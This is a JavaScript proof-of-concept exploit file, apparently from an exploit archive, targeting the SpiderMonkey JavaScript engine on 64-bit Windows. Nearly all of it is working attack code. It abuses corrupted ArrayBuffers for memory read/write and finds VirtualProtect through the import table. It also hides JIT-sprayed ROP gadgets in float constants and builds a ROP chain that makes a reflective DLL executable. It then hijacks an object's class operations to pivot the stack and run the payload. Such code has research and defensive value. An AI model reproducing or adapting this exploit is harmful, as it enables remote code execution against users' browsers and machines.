5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / toolbox.js JS
// Axel '0vercl0k' Souchet - 28 April 2019

//
// Walks the IAT of ModuleBase until finding the ImportDescriptor
// for DllName2Find.
//

function FindImportDescriptor(Memory, ModuleBase, DllName2Find) {
    // dt ntdll!_IMAGE_DOS_HEADER e_lfanew
    //   +0x03c e_lfanew : Int4B
    const ImgDosHeader_e_lfanew = Memory.Read32(ModuleBase + 0x3cn);
    const ImgNtHeaders64 = ModuleBase + ImgDosHeader_e_lfanew;
    // 0:000> dt ntdll!_IMAGE_NT_HEADERS64 OptionalHeader
    //   +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64
    // 0:000> dt ntdll!_IMAGE_OPTIONAL_HEADER64 DataDirectory
    //   +0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
    // 0:000> ?? sizeof(_IMAGE_DATA_DIRECTORY)
    // unsigned int64 8
    // 0:000> dt ntdll!_IMAGE_DATA_DIRECTORY
    // ntdll!_IMAGE_DATA_DIRECTORY
    //   +0x000 VirtualAddress   : Uint4B
    let ImportDescriptor = ModuleBase + Memory.Read32(
        ImgNtHeaders64 + 0x18n + 0x70n + (1n * 8n)
    );

    let Found = false;

    while(1337) {
        const NameRVA = Memory.Read32(
            ImportDescriptor + 3n*4n
        );

        if(NameRVA == 0n) {

            //
            // It means the RVA of the name was 0 and as a result
            // NameAddress is pointing right on the MZ header of the Module.
            //

            break;
        }

        const NameAddress = ModuleBase + NameRVA;
        const Name = Memory.ReadString(NameAddress);
        dbg('[*] ImportDescriptor @ ' + ImportDescriptor.toString(16) + ': ' + NameAddress.toString(16) + ': ' + Name);
        if(Name.toLowerCase() == DllName2Find.toLowerCase()) {
            Found = true;
            break;
        }

        ImportDescriptor = ImportDescriptor + 0x14n;
    }

    if(!Found) {
        dbg('[-] Could not find the import descriptor for ' + DllName2Find);
        ImportDescriptor = null;
    }

    return ImportDescriptor;
}

//
// Walks the imported APIs by the ImportDescriptor and returns their address.
//

function FindImportedAPIsFromImportDescriptor(Memory, ModuleBase, ImportDescriptor, ...APINames) {
    const Results = {};
    const ImportNames = ModuleBase + Memory.Read32(ImportDescriptor);
    const APINamesLower = APINames.map(p => p.toLowerCase());
    const ImportAddresses = ModuleBase + Memory.Read32(
        ImportDescriptor + 4n * 4n
    );

    dbg('[*] Looking for ' + APINames.join(', ') + '..');
    dbg('[+]   Imports Name Array is @ ' + ImportNames.toString(16));
    dbg('[+]   Imports Address Array is @ ' + ImportAddresses.toString(16));

    let Idx = BigInt(0);
    while(1337) {
        const ImportAddress = Memory.ReadPtr(ImportAddresses + Idx * 8n);
        if(ImportAddress == 0n) {

            //
            // We are done walking the imports for this descriptor.
            //

            break;
        }

        const ImportNameAddress = ModuleBase + Memory.ReadPtr(
            ImportNames + Idx * 8n
        ) + 2n;
        const ImportName = Memory.ReadString(ImportNameAddress);
        const ImportNameLower = ImportName.toLowerCase();
        dbg('[*]     Function: ' + ImportName + ' is @ ' + ImportAddress.toString(16));
        if(APINamesLower.includes(ImportNameLower)) {
            Results[ImportNameLower] = ImportAddress;
        }

        if(Object.keys(Results).length == APINamesLower.length) {

            //
            // If we found all our APIs then we're out!
            //

            break;
        }

        Idx++;
    }

    const Addresses = [];
    for(const APINameLower of APINamesLower) {
        const Address = Results.hasOwnProperty(APINameLower) ? Results[APINameLower] : null;
        Addresses.push(Address);
    }

    if(Addresses.length == 1) {

        //
        // If we only have one address to return, let's just return it as opposed to
        // returning the Array.
        // This allows the caller to invoke the function like the below:
        //   `const foo = FindImportedAPIsFromImportDescriptor(Kern32, 'foo');`
        // as opposed to:
        //   `const [foo] = FindImportedAPIsFromImportDescriptor(Kern32, 'foo');`
        //

        return Addresses[0];
    }

    return Addresses;
}

//
// Walks the IAT and returns the addresses of the APIs requested.
//

function FindImportedAPIs(Memory, ModuleBase, DllName, ...APINames) {
    const ImportDescriptor = FindImportDescriptor(Memory, ModuleBase, DllName);
    if(ImportDescriptor == null) {

        //
        // If we don't find an ImportDescriptor, we return an array of nulls; one for
        // each of the requested API.
        //

        const Nulls = APINames.map(_ => null);
        if(APINames.length == 1) {
            return Nulls[0];
        }

        return Nulls;
    }

    return FindImportedAPIsFromImportDescriptor(
        Memory, ModuleBase,
        ImportDescriptor,
        ...APINames
    );
}

//
// Scan back page, by page until finding the base of the module
// Address belongs to.
//

function FindModuleBase(Memory, Address) {
    let Base = Address & 0xfffffffffffff000n;
    while(1337) {
        const MZ = Array.from(Memory.Read(Base, 2)).map(
            c => String.fromCharCode(c)
        ).join('');

        if(MZ == 'MZ') {
            break;
        }

        Base = Base - 0x1000n;
    }

    return Base;
}

//
// Compare two arrays.
//

function ArrayCmp(A, B) {
    if(A.length != B.length) {
        return false;
    }

    for(let Idx = 0; Idx < A.length; Idx++) {
        if(A[Idx] != B[Idx]) {
            return false;
        }
    }

    return true;
}

const BringYourOwnGadgets = function () {

    //
    // Magic:
    //  00000350`ed5f77f8 49bb30766572636c306b mov r11,6B306C6372657630h
    //  0:000> db 00000350`ed5f77f8+2 l8
    //  00000350`ed5f77fa  30 76 65 72 63 6c 30 6b                          0vercl0k
    //

    const Magic = 2.1091131882779924e+208;

    //
    // Pop:
    //  0:000> u 0x00000350ed5f7808
    //  00000350`ed5f7808 59              pop     rcx
    //  00000350`ed5f7809 5a              pop     rdx
    //  00000350`ed5f780a 4158            pop     r8
    //  00000350`ed5f780c 4159            pop     r9
    //  00000350`ed5f780e c3              ret
    //  00000350`ed5f780f 90              nop
    //

    const PopRegisters = -6.380930795567661e-228;

    //
    // Pivot:
    //  0:000> u 0x00000350ed5f7816-2 l1
    //  00000350`ed5f7814 49bb4887e2909090eb06 mov r11,6EB909090E28748h
    //  0:000> u 0x00000350ed5f7816 l5
    //  00000350`ed5f7816 4887e2          xchg    rsp,rdx
    //  00000350`ed5f7819 90              nop
    //  00000350`ed5f781a 90              nop
    //  00000350`ed5f781b 90              nop
    //  00000350`ed5f781c eb06            jmp     00000350`ed5f7824
    //  0:000> u 00000350`ed5f7824 l4
    //  00000350`ed5f7824 488b2424        mov     rsp,qword ptr [rsp]
    //  00000350`ed5f7828 90              nop
    //  00000350`ed5f7829 90              nop
    //  00000350`ed5f782a eb06            jmp     00000350`ed5f7832
    //  0:000> u 00000350`ed5f7832
    //  00000350`ed5f7832 488b642438      mov     rsp,qword ptr [rsp+38h]
    //  00000350`ed5f7837 c3              ret
    //  00000350`ed5f7838 90              nop
    //  00000350`ed5f7839 90              nop
    //

    const Pivot0 = 2.4879826032820723e-275;
    const Pivot1 = 2.487982018260472e-275;
    const Pivot2 = -6.910095487116115e-229;
};

function Pwn(AB1, AB2) {
    const Read = (Addr, Length) => {
        let OddOffset = 0;
        if((Addr & 0x1n) == 1n) {
            Length += 1;
            OddOffset = 1;
        }

        //
        // Fix AB2's base address from AB1.
        //

        Addr = Addr >> 1n;
        const Master = new Uint8Array(AB1);
        for(const [Idx, Byte] of BigInt.toBytes(Addr).entries()) {
            Master[Idx + 0x40] = Byte;
        }

        const View = new Uint8Array(AB2);
        return View.slice(OddOffset, Length);
    };

    const Write = (Addr, Values) => {
        let OddOffset = 0;
        if((Addr & 0x1n) == 1n) {
            Length += 1;
            OddOffset = 1;
        }

        //
        // Fix AB2's base address from AB1.
        //

        Addr = Addr >> 1n;
        const Master = new Uint8Array(AB1);
        for(const [Idx, Byte] of BigInt.toBytes(Addr).entries()) {
            Master[Idx + 0x40] = Byte;
        }

        const View = new Uint8Array(AB2);
        for(const [Idx, Byte] of Values.entries()) {
            View[OddOffset + Idx] = Number(Byte);
        }
    };

    const ReadPtr = Addr => {
        return BigInt.fromBytes(Read(Addr, 8));
    };

    const Read32 = Addr => {
        return BigInt.fromBytes(Read(Addr, 4));
    };

    const ReadString = Addr => {
        let S = '';
        while(1337) {
            const Byte = Read(Addr, 1);
            Addr += 1n;
            if(Byte == 0n) {
                break;
            }

            S += String.fromCharCode(Number(Byte));
        }
        return S;
    };

    const WritePtr = (Addr, Ptr) => {
        return Write(Addr, BigInt.toBytes(Ptr));
    };

    const AddrOf = Obj => {
        AB2.hell_on_earth = Obj;
        const SlotsAddress = BigInt.fromBytes(
            new Uint8Array(AB1).slice(48, 48 + 8)
        );
        return BigInt.fromJSValue(ReadPtr(SlotsAddress));
    };

    const Primitives = {
        Read : Read,
        Read32 : Read32,
        ReadPtr : ReadPtr,
        ReadString : ReadString,
        WritePtr : WritePtr,
        AddrOf : AddrOf,
    };

    //
    // Find js/xul base address
    //

    const EmptyElementsHeaders = BigInt.fromBytes(
        new Uint8Array(AB1).slice(0x38, 0x38 + 8)
    );
    const JSBase = FindModuleBase(Primitives, EmptyElementsHeaders);
    dbg('[+] js.exe is @ ' + JSBase.toString(16));

    //
    // Go and find VirtualProtect.
    //

    const VirtualProtect = FindImportedAPIs(Primitives, JSBase, 'kernel32.dll', 'VirtualProtect');
    dbg('[+] kernel32!VirtualProtect is @ ' + VirtualProtect.toString(16));
    const ReflectiveDllAddress = Primitives.ReadPtr(
        Primitives.AddrOf(ReflectiveDll) + 8n * 7n
    );
    dbg('[+] Reflective dll is @ ' + ReflectiveDllAddress.toString(16));
    const ReflectiveLoaderAddress = ReflectiveDllAddress + ReflectiveLoaderOffset;
    dbg('[+] ReflectiveLoader is @ ' + ReflectiveLoaderAddress.toString(16));

    //
    // Bring your own gadgetz boiz!
    //

    const Magic = '0vercl0k'.split('').map(c => c.charCodeAt(0));

    //
    // Force JITing of the gadgets.
    //

    for(let Idx = 0; Idx < 12; Idx++) {
        BringYourOwnGadgets();
    }

    //
    // Retrieve addresses of the gadgets.
    //

    const BringYourOwnGadgetsAddress = Primitives.AddrOf(BringYourOwnGadgets);
    const JsScriptAddress = Primitives.ReadPtr(
        BringYourOwnGadgetsAddress + 0x30n
    );

    const JittedAddress = Primitives.ReadPtr(JsScriptAddress);
    dbg('[+] JITed function is @ ' + JittedAddress.toString(16));

    let JitPageStart = JittedAddress & 0xfffffffffffff000n;
    dbg('[+] JIT page of gadget store is @ ' + JitPageStart.toString(16));

    //
    // Scan the JIT page, pages by pages until finding the magic value. Our
    // gadgets follow it.
    //

    let MagicAddress = 0;
    let FoundMagic = false;
    for(let PageIdx = 0; PageIdx < 3 && !FoundMagic; PageIdx++) {
        const JitPageContent = Primitives.Read(JitPageStart, 0x1000);
        dbg('[+] Scanning JIT page @ ' + JitPageStart.toString(16));
        for(let ContentIdx = 0; ContentIdx < JitPageContent.byteLength; ContentIdx++) {
            const Needle = JitPageContent.subarray(
                ContentIdx, ContentIdx + Magic.length
            );

            if(ArrayCmp(Needle, Magic)) {

                //
                // If we find the magic value, then we compute its address, and we getta outta here!
                //

                MagicAddress = JitPageStart + BigInt(ContentIdx);
                FoundMagic = true;
                break;
            }
        }

        JitPageStart = JitPageStart + 0x1000n;
    }

    dbg('[+] Magic is at @ ' + MagicAddress.toString(16));
    const PopRcxRdxR8R9Address = MagicAddress + 0x8n + 4n + 2n;
    const RetAddress = PopRcxRdxR8R9Address + 6n;
    const PivotAddress = PopRcxRdxR8R9Address + 0x8n + 4n + 2n;

    dbg('[+] PopRcxRdxR8R9 is @ ' + PopRcxRdxR8R9Address.toString(16));
    dbg('[+] Pivot is @ ' + PivotAddress.toString(16));
    dbg('[+] Ret is @ ' + RetAddress.toString(16));

    //
    // Prepare the backing buffer for the ROP chain. It is also the
    // object we will use to hijack control flow later.
    //

    const TargetSize = 0x10000;
    const Target = new Uint8Array(TargetSize);
    const TargetBufferAddress = Primitives.ReadPtr(
        Primitives.AddrOf(Target) + 8n * 7n
    );

    //
    // We want the ropchain to start in the middle of the space because
    // VirtualProtect might use a bunch of stack space and might underflow
    // our buffer.
    // In order to make things simple regarding our stack-pivot, we just fill
    // the buffer with a ret-sled that will land on our rop-chain which is located
    // in the middle of the region.
    //

    let Offset2RopChain = TargetSize / 2;
    for(let Idx = 0; Idx < TargetSize; Idx += 8) {
        Target.set(BigInt.toBytes(RetAddress), Idx);
    }

    //
    // Prepare the ROP chain which makes the shellcode executable and jump to it.
    //

    const PAGE_EXECUTE_READ = 0x20n;
    const RopChain = [

        //
        // Prepare arguments for a VirtualProtect call.
        //

        PopRcxRdxR8R9Address,
        ReflectiveDllAddress,
        BigInt(ReflectiveDll.length),
        PAGE_EXECUTE_READ,
        TargetBufferAddress,

        //
        // Make the reflective dll rwx memory.
        //

        VirtualProtect,

        //
        // We pop the homies (home space).
        //

        PopRcxRdxR8R9Address,
        0xaaaaaaaaaaaaaaaan,
        0xbbbbbbbbbbbbbbbbn,
        0xccccccccccccccccn,
        0xddddddddddddddddn,

        //
        // We pop some registers to pass parameters to our payload.
        //

        PopRcxRdxR8R9Address,
        ReflectiveDllAddress,
        0n,
        0n,
        0n,

        //
        // Let's go to the reflective loader.
        //

        ReflectiveLoaderAddress
    ];

    for(const Entry of RopChain) {
        Target.set(BigInt.toBytes(Entry), Offset2RopChain);
        Offset2RopChain += 8;
    }

    //
    // Retrieve a bunch of addresses needed to replace Target's clasp_ field
    //

    const TargetAddress = Primitives.AddrOf(Target);
    const TargetGroup_ = Primitives.ReadPtr(TargetAddress);
    const TargetClasp_ = Primitives.ReadPtr(TargetGroup_);
    const TargetcOps = Primitives.ReadPtr(TargetClasp_ + 0x10n);
    const TargetClasp_Address = TargetGroup_ + 0x0n;

    const TargetShapeOrExpando_ = Primitives.ReadPtr(TargetAddress + 0x8n);
    const TargetBase_ = Primitives.ReadPtr(TargetShapeOrExpando_);
    const TargetBaseClasp_Address = TargetBase_ + 0n;

    //
    // Prepare backing memory for the js::Class object, as well as the js::ClassOps object
    //

    // 0:000> ?? sizeof(js!js::Class) + sizeof(js::ClassOps)
    // unsigned int64 0x88
    const MemoryBackingObject = new Uint8Array(0x88);
    const MemoryBackingObjectAddress = Primitives.AddrOf(MemoryBackingObject);
    const ClassMemoryBackingAddress = Primitives.ReadPtr(
        MemoryBackingObjectAddress + 7n * 8n
    );
    // 0:000> ?? sizeof(js!js::Class)
    // unsigned int64 0x30
    const ClassOpsMemoryBackingAddress = ClassMemoryBackingAddress + 0x30n;
    dbg('[+] js::Class / js::ClassOps backing memory is @ ' + Primitives.AddrOf(
        MemoryBackingObject
    ).toString(16));

    //
    // Copy the original Class object into our backing memory, and hijack
    // the cOps field
    //

    MemoryBackingObject.set(Primitives.Read(TargetClasp_, 0x30), 0);
    MemoryBackingObject.set(BigInt.toBytes(ClassOpsMemoryBackingAddress), 0x10);

    //
    // Copy the original ClassOps object into our backing memory and hijack
    // the add property
    //

    MemoryBackingObject.set(Primitives.Read(TargetcOps, 0x50), 0x30);
    MemoryBackingObject.set(BigInt.toBytes(PivotAddress), 0x30);

    //
    // At this point, hijack Target's clasp_ fields; from both group and the
    // shape. Note that we also update the shape as there's an assert in
    // the debug build that makes sure the two classes matches
    //

    dbg("[*] Overwriting Target's clasp_ @ " + TargetClasp_Address.toString(16));
    Primitives.WritePtr(TargetClasp_Address, ClassMemoryBackingAddress);
    dbg("[*] Overwriting Target's shape clasp_ @ " + TargetBaseClasp_Address.toString(16));
    Primitives.WritePtr(TargetBaseClasp_Address, ClassMemoryBackingAddress);

    //
    // Let's pull the trigger now
    //

    dbg('[*] Pulling the trigger bebe..');
    Target.im_falling_and_i_cant_turn_back = 1;
}